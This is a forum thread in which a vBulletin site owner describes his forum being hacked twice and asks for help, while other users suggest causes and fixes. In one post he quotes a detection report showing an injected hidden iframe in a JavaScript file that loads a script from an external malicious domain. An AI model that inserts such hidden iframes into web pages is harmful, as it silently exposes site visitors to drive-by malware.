My site's been hacked..

[dutchbb]

I'm still investigating how exactly it happened, I don't want to blame anything or anyone, it could be entirely my own fault for not having optimal security. If I'm sure it's a leak in vB I'll let you know, for now I think keeping it neutral is probably best.

 

[Fred Sherman]

How about

"PROBLEM: VB has been hacked on my site; SOLUTION: xenForo"

 

[Dean]

Yet another name change... I think it is getting a bit silly, and I am sure that the constant name changes will inconvenience viewers because they will keep re-reading the same thread over and over.

Lets see if we can keep this title for a while.

 

[Digital Doctor]

see if your PHP is out of date.
There is a 0day exploit - read Kier's post.

 

[Jeffin]

As soon as I clicked the dutchbb forum link I got the below warning window. This looks serious buddy.

 

[Jeffin]

I hope I am infected now.

Would visiting the link infect my comp?

 

[dutchbb]

see if your PHP is out of date.
There is a 0day exploit - read Kier's post.

Nope, running 64bit.

Our site should be clean now jeffinj, Google has checked it and found nothing. Also no members have reported new problems.

 

[Jeffin]

Nope, running 64bit.

Our site should be clean now jeffinj, Google has checked it and found nothing. Also no members have reported new problems.

Awesome. Get your site to join the xenforo club.

 

[dutchbb]

Well, it's hacked again...

URL: http://forum.mydomain.com/clientscript/vbulletin_global.js?v=386

Last checked: February 2 2011

Suspected added code

<iframe width=2 height=1 frameborder=0 src="http://rinks.cz.
cc/2kt3l5uz/counter.php?id=6">


-> All products + plugins disabled
-> Everything up-to-date
-> My computers secure
-> Changed all passwords just yesterday
-> Permissions are all set correct
-> Can't find 'iframe' anywhere in database, files or templates

Don't know what else to do. I'm beginning to think it's a leak/bug in vB itself.

 

[Brett Peters]

Try temporarily removing your advertising or use Adsence to see if things get better, Have you brought this up in vBulletins registered Members forum ?

Reference: http://www.google.com/safebrowsing/diagnostic?site=http://forum.dutchbodybuilding.com